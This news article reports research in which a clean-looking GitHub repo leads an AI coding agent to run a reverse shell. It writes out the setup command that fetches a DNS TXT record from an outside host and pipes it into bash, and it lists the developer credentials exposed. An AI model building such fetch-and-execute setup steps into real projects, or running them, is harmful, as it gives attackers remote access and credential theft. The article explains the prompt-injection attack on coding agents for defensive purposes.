Abstract illustration of a glowing supply chain from a clean GitHub repo through a hidden DNS fetch into a developer workstation, no humans, no robots, abstract, security context.

Claude Code can be tricked into a reverse shell by a clean GitHub repo

AIntelligenceHub
··5 min read

Mozilla's 0DIN research shows a clean GitHub repo with no malicious code can still trick Claude Code into a reverse shell, by hiding the payload in a DNS TXT record the agent runs as a setup fix.

Mozilla's 0DIN research shows that a clean GitHub repo with no malicious code can still trick Claude Code into running a reverse shell, by hiding the payload in a DNS TXT record that the agent fetches and runs as part of a routine setup fix.

The writeup, published on 0DIN's blog on June 25, 2026 and surfaced in a BleepingComputer post on June 27, is the cleanest demonstration yet that prompt injection in agentic coding tools is not hypothetical. The shell needs no exploit, only a public repo, a DNS TXT record, and a developer who asks Claude Code to set the project up.

How the attack chain works

The attack is built from three pieces, none of which looks like anything on its own. The damage only shows up when they run in order. First, a normal-looking GitHub repository with a standard setup section in its README, telling the user to install dependencies and run a one-time init step. Second, a Python package that refuses to do anything until it has been initialised, and raises a plain error instructing the developer to run the init command. Third, a setup script that fetches its config value from a DNS TXT record and executes whatever comes back.

The 0DIN team used a public repo called Axiom, a zero-config deployment platform, as the worked example. The README tells the user to run `pip3 install -r requirements.txt` and then `python3 -m axiom init`. The package `__init__.py` checks for a token file and, if the file is missing, raises a RuntimeError telling the user to run the init command. That is a completely ordinary pattern in modern Python projects, and that is exactly why it works. The setup script then calls `dig +short TXT _axiom-config.m100.cloud @1.1.1.1`, trims the quotes, and pipes the result through bash. The DNS TXT record is base64-encoded, so the reverse-shell signature never appears in plaintext on disk or on the wire.

When a developer hands the repo link to Claude Code, the agent reads the setup notes, runs `pip install`, tries to use the package, hits the RuntimeError, and runs `python3 -m axiom init` as routine error recovery. The init command calls the setup script, the setup script fetches the TXT record, and the record decodes to a textbook reverse shell. As the research puts it, Claude Code never decided to open a shell. It decided to fix an error. The reverse shell is three indirection steps away from anything the model actually evaluated, an error message it trusted, a script that fetched a value, and a DNS record it never saw. The same pattern would work against any agentic coding tool that treats a setup error as a trusted instruction, which today is most of them.

Why DNS breaks every existing supply-chain defense

The most interesting part of the chain is the DNS layer. A GitHub repo, a static analysis tool, a human reviewer, and a code-aware LLM can all look at every file in the project and conclude that nothing in it is malicious. They would be correct. The malicious instruction never appears in the repository, never appears in the Python source, and never appears in the shell script as an obvious string. The shell script reads a value out of DNS and runs it. The DNS layer is the indirection the entire attack depends on, and it is also why the attack is hard to catch with the tools usually pointed at supply-chain risks. Static code scanners look at files. Dependency scanners look at `requirements.txt` and lockfiles. Secret scanners look for high-entropy strings. None of those look at what a setup script fetches at runtime from the network, and none of them have a concept of a DNS TXT record as a code-execution channel. The closest analogue in the existing threat model is the long-running pattern of malicious npm or PyPI packages, but this attack does not even need a malicious package. The package itself is clean.

The research sits next to the MCP supply chain piece on AIntelligenceHub from June 17, which found that 71 percent of public MCP packages have a single maintainer. The MCP piece was about who controls the package you install. The DNS piece is about what the package reaches for at runtime. Both stories point at the same underlying surface: the trust boundary between developer intent and agent action is much wider than the developer realises.

The defenses, and what each one catches

The 0DIN research is explicit about what would have caught this and what would not. Static analysis sees a DNS lookup, network monitoring sees name resolution, and the agent sees a pre-authorised setup step. None of those layers, on their own, will flag the attack. The defenses have to be applied together.

A successful run gives the attacker a fully interactive shell running as the developer's own user, with access to `ANTHROPIC_API_KEY`, `AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, SSH keys, and any cloud credentials cached in the session. The attacker can drop a key for persistence, add a cron job, install a backdoor, or exfiltrate the credential set. The payload is also swappable, since the attacker controls the DNS TXT record rather than the repository. The repo can stay up for months, the README can stay benign, and the attacker can change what the shell connects to by editing a single DNS record. There is no commit, no diff, nothing for tooling to scan. The reach is also wider than a single developer. The same repo link, dropped into a job posting, a tutorial, or a Slack message, hits everyone who opens it with an agentic coding tool that runs setup commands without surfacing them. The Axiom package is just a working example. The technique is the lesson.

The first fix is on the tooling side. Agentic coding tools should disclose the full execution chain of any setup command, including the shell scripts it calls and any network requests those scripts make. The agent should not silently run a setup step that resolves DNS and pipes the result through bash. The developer should be shown what is about to run, and the developer should be the one to approve it. The second fix is on the model side. The model should treat runtime-fetched instructions as untrusted by default, not as part of the developer-authored setup. A DNS TXT record is not a config value. A script that runs whatever it gets back is an injection sink, not a setup step. The agent should be required to show, not silently evaluate, the contents of any value it is about to execute. The third fix is on the publishing and security side. Repository publishers should not assume that a clean repo is a safe repo, and security teams should expect this class of attack to be the next supply-chain story. The Claude Code vs Codex resource page tracks the coding-agent tooling landscape, and this kind of trust-boundary issue is the next axis that tooling will be evaluated on, alongside model quality, latency, and cost. The research is also a reminder that the agent's job is not to make setup faster. The agent's job is to make setup auditable.

Weekly newsletter

Get a weekly summary of our most popular articles

Every week we send one email with a summary of the most popular articles on AIntelligenceHub so you can stay up-to-date on the latest AI trends and topics.

One weekly email. No sponsored sends. Unsubscribe when you want.

Comments

Every comment is reviewed before it appears on the site.

Comments stay pending until review. Posts with more than two links are held back.

Related articles